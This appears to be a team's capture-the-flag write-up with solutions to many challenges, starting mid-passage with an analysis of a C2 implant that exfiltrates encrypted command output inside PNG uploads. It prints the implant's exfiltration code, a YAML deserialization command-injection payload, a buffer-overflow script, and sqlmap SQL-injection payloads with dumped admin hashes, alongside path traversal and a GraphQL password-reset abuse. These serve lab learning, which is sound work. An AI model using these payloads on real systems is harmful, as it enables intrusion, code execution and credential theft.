  • Then when any command is issued from the c2 server the implant uses that key to encrypt the command output and uses PNGs to send results to the server
  • We will see this in detail from this point

  • Second GET query and another encrypted blob
  • Simple script for decrypting AES :
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
iv = b'Kettie/Emmie/Ann'
with open('../second_get.data', 'rb') as cipherfile:
    ctext = cipherfile.read()
ciphertext = b64decode(ctext)
key = b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
# key = b64decode('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=')
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(pad(ciphertext, 128))
stuff = decrypted[16:].split(b'\x00')[0]
plaintext = b64decode(stuff).decode()
print(plaintext)

output :

  • At the very start we can see the multicmd loadmodule command, these are found in the implant source code

  • this is followed by another blob and ends with :

  • The blob turned out to be a SharpSploit DLL
  • Moving forward we get our first POST query which is uploading first PNG to the c2 server :

  • Notice Malformed , lets go back to the source :
public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
    {
        if (string.IsNullOrEmpty(key))
        {
            key = pKey;
        }
        string cookie = Encryption(key, taskId);
        string text = "";
        text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
        byte[] cmdoutput = Convert.FromBase64String(text);
        byte[] imgData = ImgGen.GetImgData(cmdoutput);
        int num = 0;
        while (num < 5)
        {
            num++;
            try
            {
                GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData);
                num = 5;
            }
            catch
            {
            }
        }
    }
  • Exec function is responsible for handling command output and PNG uploading
  • First it creates an encrypted cookie which contains task ID
  • Then it encrypts the command output
  • Decodes the base64 cipher string and calls ImgGen function
  • Then it runs a loop to upload the PNG, if any error occurs then the loop increments and upload is re attempted until file is uploaded perfectly
  • Now lets look into ImgGen :
internal static class ImgGen
    {
        private static Random _rnd = new Random();
        private static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", (RegexOptions)8);
        private static List<string> _newImgs = new List<string>();
        internal static void Init(string stringIMGS)
        {
            IEnumerable<string> enumerable = Enumerable.Select<Match, string>(Enumerable.Cast<Match>((IEnumerable)_re.Matches(stringIMGS.Replace(",", ""))), (Func<Match, string>)((Match m) => ((Capture)m).get_Value()));
            enumerable = Enumerable.Where<string>(enumerable, (Func<string, bool>)((string m) => !string.IsNullOrEmpty(m)));
            _newImgs = Enumerable.ToList<string>(enumerable);
        }
        private static string RandomString(int length)
        {
            return new string(Enumerable.ToArray<char>(Enumerable.Select<string, char>(Enumerable.Repeat<string>("...................@..........................Tyscf", length), (Func<string, char>)((string s) => s[_rnd.Next(s.Length)]))));r
        }
        internal static byte[] GetImgData(byte[] cmdoutput)
        {
            int num = 1500;
            int num2 = cmdoutput.Length + num;
            string s = _newImgs[new Random().Next(0, _newImgs.Count)];
            byte[] array = Convert.FromBase64String(s);
            byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length));
            byte[] array2 = new byte[num2];
            Array.Copy(array, 0, array2, 0, array.Length);
            Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
            Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
            return array2;
        }
    }
  • This function gets a random PNG out of the array it fetched from the c2 server
  • Then it proceeds to build the PNG file
  • First the PNG data
  • Second, it generates a random string based on ...................@..........................Tyscf charset
  • Third, it adds the encrypted command output
  • Finally it concatenates all three parts and returns a malicious PNG
  • Based on this information we can isolate the command output section in the PNGs
  • Implant makes 6 POST requests i.e. 6 attempts at uploading a perfect PNG :

First PNG :

  • The three parts are clearly visible, actual PNG finishes at IEND followed by random string and a small encrypted command output
  • But the implant made 6 requests, I tried to decrypt the data of each PNG but it did not work

One tiny detail

  • Going back to Encryption function, it contains a block :
if (comp)
        {
            array = Compress(array);
        }
  • and in Exec where Encryption is called we have :
text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
  • comp is set to True which means the encrypted command output is first compressed and then added to the PNG!
  • Compression function :
private static byte[] Compress(byte[] raw)
    {
        //IL_0009: Unknown result type (might be due to invalid IL or missing references)
        //IL_000f: Expected O, but got Unknown
        using MemoryStream memoryStream = new MemoryStream();
        GZipStream val = new GZipStream((Stream)memoryStream, (CompressionMode)1, true);
        try
        {
            ((Stream)(object)val).Write(raw, 0, raw.Length);
        }
        finally
        {
            ((IDisposable)val)?.Dispose();
        }
        return memoryStream.ToArray();
    }
  • GZip compression is used to compress the encrypted command output
  • Going back to wireshark, the sixth, last PNG is largest in size and I assumed that first 5 requests failed to upload a perfect PNG and the next sixth request succeeded
  • Isolating command output :

  • Start is set to 1500 following the ImgGen code which uses a fixed size of 1500, PNG data and random string is isolated and we are left with compressed encrypted command output
  • I made modifications in my decryption script to de-compress the encrypted data before attempting decryption :
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import zlib
iv = b'Kettie/Emmie/Ann'
with open('../sixth_png.data', 'rb') as cipherfile:
    ctext = cipherfile.read()
ciphertext = ctext
key = b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
# key = b64decode('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=')
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(pad(ciphertext, 128))
enc_text = zlib.decompress(decrypted[16:], 15+32)
dec_enc_text = b64decode(enc_text)
with open('flag', 'wb') as out:
    out.write(dec_enc_text)

And I got the flag! look at top right

hardware

Timed Transmission

Solved by: WarlordSam

Challenge description

This hardware challenge is pretty straight-forward. We are given a .sal file which has captured data.

We can use Logic Analyzer (https://www.saleae.com/downloads/) to view this .sal file. The flag is printed as banner made up of 5 Message fragments .


Critical Flight

Solved by: warlordsam

Challenge description

Similar to Timed Transmission, the flag is directly visible to us when we open the .zip folder in GerbView Software (https://www.gerbview.com/download.html).

First part of the Flag is visible directly when all the layers of the PCB board are set to be visible.

Selecting and unselecting, layer by layer; we can get the rest part of the flag too.

ml

Reconfiguration

Solved by : Bobbysox

Challenge description

Reconfiguration As Pandora set out on her quest to find the ancient alien relic, she knew that the journey would be treacherous. The desert was vast and unforgiving, and the harsh conditions would put her cyborg body to the test. Pandora started by collecting data about the temperature and humidity levels in the desert. She used a scatter plot in an Orange Workspace file to visualize this data and identified the areas where the temperature was highest and the humidity was lowest. Using this information, she reconfigured her sensors to better withstand the extreme heat and conserve water. But, a second look at the data revealed something otherwordly, it seems that the relic’s presence beneath the surface has scarred the land in a very peculiar way, can you see it?

We are provided with two files for this. An OWS file, and a .CSV file. After some googling I found out that .ows files can be run in a program called “Orange”

From here it was honestly just a matter of toying with it. The csv file is a data table, so I chose the data table option and linked it to the scatter plot. This ultimately revealed the flag.

misc

Persistence

Solved by Legend

Challenge description

Thousands of years ago, sending a GET request to /flag would grant immense power and wisdom. Now it’s broken and usually returns random data, but keep trying, and you might get lucky… Legends say it works once every 1000 tries.

In this challenge we are given IP along with Port Number to connect to the challenge and retrieve the flag using the GET request.

Initially checking the URL it gave something gibberish.

The hint of the challenge was that the /flag works once in 1000 tries. So I made a loop to do the same.

for i in `seq 1 1000`; do curl -s http://68.183.45.143:31981/flag | grep -i "HTB" ; done

And after running for sometime it gave the flag.


Restricted

Solved by Legend

Challenge description

You ‘re still trying to collect information for your research on the alien relic. Scientists contained the memories of ancient egyptian mummies into small chips, where they could store and replay them at will. Many of these mummies were part of the battle against the aliens and you suspect their memories may reveal hints to the location of the relic and the underground vessels. You managed to get your hands on one of these chips but after you connected to it, any attempt to access its internal data proved futile. The software containing all these memories seems to be running on a restricted environment which limits your access. Can you find a way to escape the restricted environment ?

In this challenge we are given SSH shell escape to get the flag.

Going through the docker file we can get some info of what configuration is done to the challenge

  1. The shell is set to rbash which basically means restricted bash.

    RUN chown -R restricted:restricted /home/restricted

  2. The flag file will have some random value appended to it as written in the config

    RUN mv /flag.txt /flag_cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1

Since it is a SSH escape challenge I remembered that I have solved a challenge like this before so first thing I did was to check if we can execute remote code without opening the SSH shell.

It worked!! So now all I had to do was look for the flag file name as it gets changed and cat it.

We got the flag.


Hijack

Solved by Starry-Lord

Connect with nc to the docker instance, then create a config and decode the base 64. We can see it gives back YAML syntax so we can try to inject commands with subprocess.Popen:

After base64 encoding it, and using the “Load config” option, This worked!

!!python/object/apply:subprocess.Popen
- ls

I had to dig a little more to find how to give arguments to the command:

!!python/object/apply:subprocess.Popen
- !!python/tuple
  - ls
  - -la

And solved:

!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
  - flag.txt


Remote Computation

Solved by : thewhiteh4t

#!/usr/bin/env python3

from pwn import *

host = '188.166.152.84'
port = 30603
conn = remote(host, port)
conn.recvuntil(b'>').decode()
conn.send(b'1\n')

for x in range(500):
    ques_line = conn.recv().decode()
    ques = ques_line.split(': ')[1].split(' = ?')[0]
    try:
        ans = round(eval(ques), 2)
        if ans < -1337.00 or ans > 1337.00:
            print('Got Memory Error')
            ans = 'MEM_ERR'
    except SyntaxError:
        print('Got Syntax Error')
        ans = 'SYNTAX_ERR'
    except ZeroDivisionError:
        print('Got Zero Error')
        ans = 'DIV0_ERR'
    ans = str(ans).encode()
    conn.sendline(ans)
    print(f'Answered {x} questions')

print(conn.recvuntil(b'}').decode())


pwn

Initialise Connection

Solved by Legend

Challenge description

In order to proceed, we need to start with the basics. Start an instance, connect to it via $ nc e.g. nc 127.0.0.1 1337 and send “1” to get the flag.

This challenge is basically how to connect to netcat and the instructions are given in the description itself. I just followed it and got the flag.


Questionnaire

Solved by Legend

Challenge description

It’s time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.

In this challenge we are given a binary along with it’s source code test.c

Executing the binary asks for a payload which we don’t have so I looked into the C code that was provided.

Going through the C code we can see that the flag is in the gg() function but it’s never called from either main() or vuln() function so we can not get the flag from this. And there is also the comment stating that we need to connect to the challenge with netcat.

Once connected it shows that there will be simple questionnaire to get the flag along with theory of information required to solve a simple binary challenge.

The 0x1 question is to check the bit for the binary . We already ran file on the binary and got the answer that is 64-bit.

In 0x2 question is to check the linking of the binary. Again using the file command we can get the answer that is dynamic.

In 0x3 it’s asking it’s stripped or not stripped binary. Again using file and the answer is not stripped.

In 0x4 they are asking the protections enabled in the binary. Using checksec we can get the answer NX.

In 0x5 the are asking the custom function getting called in main(). We saw from the code that it’s vuln().

In 0x6 it’s asking the size of the buffer. Answer is 0x20 which is written in the C code.

In 0x7 it’s asking the function which never get’s called. The answer is gg() as we saw initially.

In 0x8 it’s asking the name of function which could trigger Buffer Overflow. Answer is fgets() written in the C code.

In 0x9 it’s asking after how many input of bytes the Segmentation fault will occur. Answer is 40 we can manually test it by giving the input to the binary.

In 0xa question they are asking the address of the function gg. We can get this using p gg and the answer is 0x401176. Once we enter the final answer it will print out the flag.


Getting Started

Solved by Legend

Challenge description

Get ready for the last guided challenge and your first real exploit. It’s time to show your hacking skills.

In this challenge a challenge binary is given and a wrapper.py file is given the code for buffer overflow.

Executing the binary shows the Stack frame layout.

After that it shows the stack with Address and Value along with indicators to where is the start of the buffer and what is the Target that needs to be changed.

Then it shows what happens if we put A’s and B’s as input.

Then it asks us to enter A’s to get change the value in Target. I placed 40 A’s and it grave the testing flag.

Now same can we done in the given script to automate this.

#wrapper.py#!/usr/bin/python3.8

'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''

# Library
from pwn import *

# Open connection
IP   = '165.232.98.69' # Change this
PORT = 32238      # Change this

r    = remote(IP, PORT)

# Craft payload
payload = b'A' * 40 # Change the number of "A"s

# Send payload
r.sendline(payload)

# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')

Running the script gave the flag.

re

Shattered Tablet

Solved by Starry-Lord

This challenge gave an ELF file so after basic identification, I tried to run it. When you run the file the tablet asks for an input and returns “no, not that”:

I decided to fire up ghidra, hopefully looking for what the expected input could be, what it would be compared against or anything relevant. Sure enough, by checking the main function, I found this code “explicitly” showing it was expecting the flag as input.

undefined8 main(void)

{
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  printf("Hmmmm... I think the tablet says: ");
  fgets((char *)&local_48,0x40,stdin);
  if (((((((((local_30._7_1_ == 'p') && (local_48._1_1_ == 'T')) && (local_48._7_1_ == 'k')) &&
          ((local_28._4_1_ == 'd' && (local_40._3_1_ == '4')))) &&
         ((local_38._4_1_ == 'e' && ((local_40._2_1_ == '_' && ((char)local_48 == 'H')))))) &&
        (local_28._2_1_ == 'r')) &&
       ((((local_28._3_1_ == '3' && (local_30._1_1_ == '_')) && (local_48._2_1_ == 'B')) &&
        (((local_30._5_1_ == 'r' && (local_48._3_1_ == '{')) &&
         ((local_30._2_1_ == 'b' && ((local_48._5_1_ == 'r' && (local_40._5_1_ == '4')))))))))) &&
      (((local_30._6_1_ == '3' &&
        (((local_38._3_1_ == 'v' && (local_40._4_1_ == 'p')) && (local_28._1_1_ == '1')))) &&
       (((local_30._3_1_ == '3' && (local_38._1_1_ == 'n')) &&
        (((local_48._4_1_ == 'b' && (((char)local_28 == '4' && (local_40._1_1_ == 'n')))) &&
         ((char)local_38 == ',')))))))) &&
     ((((((((char)local_40 == '3' && (local_48._6_1_ == '0')) && (local_38._7_1_ == 't')) &&
         ((local_40._7_1_ == 't' && ((char)local_30 == '0')))) &&
        ((local_40._6_1_ == 'r' && ((local_28._5_1_ == '}' && (local_38._5_1_ == 'r')))))) &&
       (local_38._6_1_ == '_')) && ((local_38._2_1_ == '3' && (local_30._4_1_ == '_')))))) {
    puts("Yes! That\'s right!");
  }
  else {
    puts("No... not that");
  }
  return 0;
}

From this code we can understand that chars get reassembled following the order of the undefined8 locals to form the flag. It starts at ((char)local_48 == ‘H’) and local_28.5_1 == ‘}’ is where it ends, so after a bit of tidying we could retrieve the following string:

HTB{br0k3n_4p4rt,n3ver_t0_b3_r3p41r3d}
((char)local_48 == 'H')
(local_48._1_1_ == 'T'))
(local_48._2_1_ == 'B'))
(local_48._3_1_ == '{'))
local_48._4_1_ == 'b'
((local_48._5_1_ == 'r'
(local_48._6_1_ == '0'))
(local_48._7_1_ == 'k'))
        ...

Hunting License

Solved by Avantika(@iamavu)

STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!

We are provided a binary called license and a docker instance support to get the flag from the server

This challenge just essentially tests out your basics so pretty straight-forward walkthrough

When you run the binary you are greeted with a following prompt

press y and move forward

so essentially we have to crack some passwords, alright time to CTRL+C and check what binary is and what it does First thing I like to do is run checksec to check how binary is configured We get following and the the thing that surprise is it doesn’t have PIE enabled

Which means the binary will be loaded at same place in memory everytime and it’s not randomized every time you load the binary. Coolio! Let’s fire up the binary-dragon, ghidra and check what’s the code doing. We got our function names intact, so going to the main function

it checks if we are ready or not and then runs exam() function which is the juicy function let’s have a look at the exam() function

well, looks pretty big but it’s checking with strcmp() if we enter the right value or not first one is literally in the code, so the first password is pretty simple - PasswordNumeroUno

Second password is something reversed, now I could technically reverse it from the code/ghidra but let’s do the smart work and run the binary in gdb (pwndbg) and set a breakpoint at the address of where it asks us for the second password. How and why can we do that, simple - NO PIE (read more about it if you are unfamiliar)

Copy the address from the ghidra for the statement where it asks us for the password, set the breakpoint (break *0xAddress) and hit run!

As we can see in the disassembly we can see the register holding the second compare value which is 0wTdr0wss4P, but reversed i.e. P4ssw0rdTw0 which is our second password.

Let’s have look at final password by the same trick we did above. Find the address from the ghidra, set breakpoint, and hit run and see the stack this time!

As we can see the rsp pointing towards the address containing our password which is ThirdAndFinal!!!

Which does means that we solved but we need to do some couple of extra answers to question to solve it.

Let’s go one by one

1. ELF, as this is a linux binary
2. Check architecture by running `file` command on this binary
3. run `ldd` to see the libraries used for various purposes
4. Get the address of the main function from ghidra
5. Check main function’s disassembly in ghidra and see how many puts call are there
6. Password One, we have it
7. Reversed form of Password Two
8. Password Two, we have it
9. Check the `exam()` function and in the `xor` statement, the fourth parameter in decimal form is our answer to this question
10. Password Three, we have it

We get our flag - HTB{l1c3ns3_4cquir3d-hunt1ng_t1m3!} as always keep hacking : D


Needle in a Haystack

Solved by Legend

Challenge description

You’ve obtained an ancient alien Datasphere, containing categorized and sorted recordings of every word in the forgotten intergalactic common language. Hidden within it is the password to a tomb, but the sphere has been worn with age and the search function no longer works, only playing random recordings. You don’t have time to search through every recording - can you crack it open and extract the answer?

In this challenge we are given a ELF 64-bit executable file.

The challenge hint said that the password is hidden within so first thing I did was run the strings command to check if something is there and found the flag.


She Shells C Shells

Solved by warlordsam

Challenge description

In this challenge we are given a ELF 64-bit LSB pie executable (not stripped).

Using ghidra , we can get the flag. Open the binary in CodeBrowser and find the function called func_flag.

Observing the code snippet from the func_flag ; we can see that it uses memcmp to compare the user input and stored bits.

  fgets((char *)&local_118,0x100,stdin);
  for (local_c = 0; local_c < 0x4d; local_c = local_c + 1) {
    *(byte *)((long)&local_118 + (long)(int)local_c) =
         *(byte *)((long)&local_118 + (long)(int)local_c) ^ m1[(int)local_c];
  }
  local_14 = memcmp(&local_118,t,0x4d);
  if (local_14 == 0) {
    for (local_10 = 0; local_10 < 0x4d; local_10 = local_10 + 1) {
      *(byte *)((long)&local_118 + (long)(int)local_10) =
           *(byte *)((long)&local_118 + (long)(int)local_10) ^ m2[(int)local_10];
    }
    printf("Flag: %s\n",&local_118);
    uVar1 = 0;
  }
  else {
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

There are three arrays m1, m2 and t that we need to look at. The user input is stored in m1 array and compared with the t array which is a stored block of password starting at memory address:0x55fb06ae0200 to check if we got the correct input. It performs XOR on each bit of both arrays.

To get the flag; We can directly see hex values of t and m2 in memcmp. Total length is 77 characters. Each bit of t and m2 undergo XOR to form a flag with format of HTB{

Copying all the hex values present in t and m2; and performing XOR using online calculator: https://xor.pw/ we can obtain the flag.

For Example: bits in t and m2 respectively are:

1. t: 2c 4a b7 
2. m2 : 64 1e f5 

Flag : HTB….so on

web

Gunhead

Solved by Legend

Challenge description

During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.

We are provided with a URL and docker file for the challenge.

The website running showing the status report of the combat robot along with a command prompt to run some commands.

Going through the docker file I found a hint.

Here shell_exec is running which runs a command in a shell and returns the result of the output. And the hint suggested that it’s not sanitized so we can try to escape it and run shell commands.

It worked. So now we can simply read the flag.


Drobots

Solved by Legend

Challenge description

Pandora’s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?

In this challenge the website is showing a login page.

Since no other info was there or in the source code of the page I checked the docker config file.

The website is a Flask application running on MySQL so I thought of SQL Injection cand be done. Here I found interesting thing that in config.py file they have provided the database information.

Also in the database.py also they have given the hint that the input is not sanitized. The logic of the database is that we need the token of the password to login. So if we can find the token we can login.

Then I saved the login request and gave it to sqlmap though which I was able to extract the details.

sqlmap -r ./req --dbms=mysql -D drobots -T users --dump


---
Parameter: JSON username ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"username":"a"="a" AND (SELECT 5866 FROM(SELECT COUNT(*),CONCAT(0x7162717071,(SELECT (ELT(5866=5866,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "a"="a","password":"a"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"username":"a"="a" AND (SELECT 4022 FROM (SELECT(SLEEP(5)))iMan) AND "a"="a","password":"a"}
---


+----+----------------------------------+----------+
| id | password                         | username |
+----+----------------------------------+----------+
| 1  | 67772d6e54bc393a6f67e16bac3f83da | admin    |
+----+----------------------------------+----------+

Once logged in we get the flag.


Orbital

Solved by Legend

Challenge description

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

In this challenge also a login page is their.

And with no user info or details in source code I checked the docker files.

This challenge is similar to the Drobots challenge. It’s running Flask application with MySQL. So I looked into the docker file.

The config.py contains the database config info.

And database.py contain the database logic along with the hint but it is modified a little. This time the password is getting verified with passwordVerify.

I again saved the request and gave it to sqlmap which gave me the token and also bruteforced the password.

sqlmap -r ./req --dbms=mysql -D orbital -T users --dump


---
Parameter: JSON username ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"username":"a"="a" AND (SELECT 2720 FROM(SELECT COUNT(*),CONCAT(0x716a7a6271,(SELECT (ELT(2720=2720,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "a"="a","password":"a"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"username":"a"="a" AND (SELECT 1000 FROM (SELECT(SLEEP(5)))dfxy) AND "a"="a","password":"a"}
---


+----+-------------------------------------------------+----------+
| id | password                                        | username |
+----+-------------------------------------------------+----------+
| 1  | 1692b753c031f2905b89e7258dbc49bb (ichliebedich) | admin    |
+----+-------------------------------------------------+----------+

Now once logged in the functionality of the website was different.

Now I checked the routes.py file which contained a logic of the application. Here in the logic of communication the hint was given that the file escape for characters are not there for the filename.

Then I tried the path traversal to get the /etc/passwd file. It worked.

For this challenge they changed the location of the flag name from flag.txt to signal_sleuth_firmware in root which is written in the docker config.

COPY flag.txt /signal_sleuth_firmware

Now we need to get the flag.


Trapped Source

Solved by Starry-Lord

challenge description

When we open the devtools and check the network tab, we can already catch a script.js:

network tab

script.js content:

currentPin = []

const checkPin = () => {
        pin = currentPin.join('')

        if (CONFIG.correctPin == pin) {
                fetch('/flag', {
                        method: 'POST',
                        headers: {
                                'Content-Type': 'application/json'
                        },
                        body: JSON.stringify({
                                'pin': CONFIG.correctPin
                        })
                })
                .then((data) => data.json())
                .then((res) => {
                        $('.lockStatus').css('font-size', '8px')
                        $('.lockStatus').text(res.message)
                })
                return
        }

        $('.lockStatus').text('INVALID!')
        setTimeout(() => {
                reset()
        }, 3000)

}

const unlock = (pin) => {
        currentPin.push(pin)

        if (currentPin.length > 4) return

        $('.lockStatus').text(currentPin.join(' '))
}

const reset = () => {
        currentPin.length = 0
        $('.lockStatus').css('font-size', 'x-large')

        $('.lockStatus').text('LOCKED')
}

We can see some code that checks for a 4 digit pin and fetches the flag, depending on the pin being equal to the value of “CONFIG.correctPin” or not. Switching to the console, we can try and log the “CONFIG”, to see what comes back:

get variables

Typing the correct pin and pressing enter returns our flag:

flag for this challenge


Passman

Solved by Starry-Lord

This app meets us with another login page, where we can also register an account.

login, register, login again

Checking the network tab actually showed a familiar name:

graphql endpoint

We can go to https://ivangoncharov.github.io/graphql-voyager/ in order to grab the infamous introspection query for graphql, which essentially returns all the content of the graphql schema. Click on “change schema”, then select the introspection tab and click on “Copy Introspection Query” to get the query to your clipboard.

Now we need to send it to this graphql endpoint but since its set to accept strings, we need to get rid of the new lines:

remove new lines

Then sending the request through BurpSuite’s repeater tab to the /graphql endpoint returns the full introspection as expected:

graphql introspection

With this data, we can go back to the graphql voyager tool and paste it in the box below the “Copy introspection query” button. This will give us a good sense of what data is built into this endpoint:

graphql voyager

There’s nothing much about this Query, except returning the phrases owned by the logged user. But there were actual “Mutation” queries used when logging in, registering a new user, or adding a new phrase. It turned out there was another function (or mutation) allowing us to change a supplied user password, which seems like a bad thing to leave laying around unused.

Mutations or available functions

UpdatePassword was the ticket to the flag, but first we needed to syntax it properly. I gladly used the content of the login graphql request shown below:

LoginUser graphql query

From there it was just a matter of editing the request properly and updating the admin password with a cool password:

Winning query

After logging in with the admin account and the new password, we can see the flag in the password of the note:

flag in Phrase password

HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}